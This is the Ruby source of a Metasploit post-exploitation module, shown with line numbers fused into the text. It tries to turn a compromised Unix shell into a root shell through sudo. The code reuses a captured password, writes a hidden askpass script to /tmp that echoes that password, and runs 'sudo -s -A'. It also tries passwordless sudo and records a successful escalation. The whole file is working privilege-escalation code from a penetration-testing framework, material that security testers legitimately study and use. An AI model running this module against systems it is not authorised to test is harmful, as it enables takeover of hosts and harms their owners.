Path: blob/master/modules/post/multi/manage/sudo.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',16'Description' => %q{17This module attempts to upgrade a shell account to UID 0 by reusing the18given password and passing it to sudo. This technique relies on sudo19versions from 2008 and later which support -A.20},21'License' => MSF_LICENSE,22'Author' => [23'todb <todb[at]metasploit.com>',24'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option25],26'Platform' => %w[aix linux osx solaris unix],27'References' => [28# Askpass first added March 2, 2008, looks like29[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']30],31'SessionTypes' => [ 'shell' ],32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],35'Reliability' => []36}37)38) # Need to test 'meterpreter'3940register_options(41[42OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])43]44)45end4647# Run Method for when run command is issued48def run49if session.type == 'meterpreter'50fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')51end5253print_status('SUDO: Attempting to upgrade to UID 0 via sudo')54sudo_bin = cmd_exec('which sudo')55if is_root?56print_status 'Already root, so no need to upgrade permissions. Aborting.'57return58end59if sudo_bin.empty?60print_error 'No sudo binary available. Aborting.'61return62end63get_root64end6566def get_root67password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']6869if password.to_s.empty?70print_status 'No password available, trying a passwordless sudo.'71else72print_status "Sudoing with password `#{password}'."73end74askpass_sudo(password)75if is_root?76print_good 'SUDO: Root shell secured.'77report_note(78host: session,79type: 'host.escalation',80data: { :escalation => "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell" }81)82else83print_error "SUDO: Didn't work out, still a mere user."84end85end8687# TODO: test on more platforms88def askpass_sudo(password)89if password.to_s.empty?90begin91::Timeout.timeout(30) do92cmd_exec('sudo -s')93end94rescue ::Timeout::Error95print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'96rescue StandardError97print_error 'SUDO: Passwordless sudo failed. Check the session log.'98end99else100askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)101begin102# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec103# Generally will be much snappier over ssh.104# Need to timeout in case there's a blocking prompt after all105::Timeout.timeout(120) do106# Create the shell script that will pass the password to sudo107vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"108write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")109register_file_for_cleanup(askpass_sh)110vprint_status 'Setting executable bit.'111cmd_exec("chmod +x #{askpass_sh}")112vprint_status 'Setting environment variable.'113114# Bruteforce the set command. At least one should work.115cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")116cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")117vprint_status 'Executing sudo -s -A'118cmd_exec('sudo -s -A')119end120rescue ::Timeout::Error121print_error 'SUDO: Sudo with a password timed out.'122rescue StandardError123print_error 'SUDO: Sudo with a password failed. Check the session log.'124end125end126end127end128129130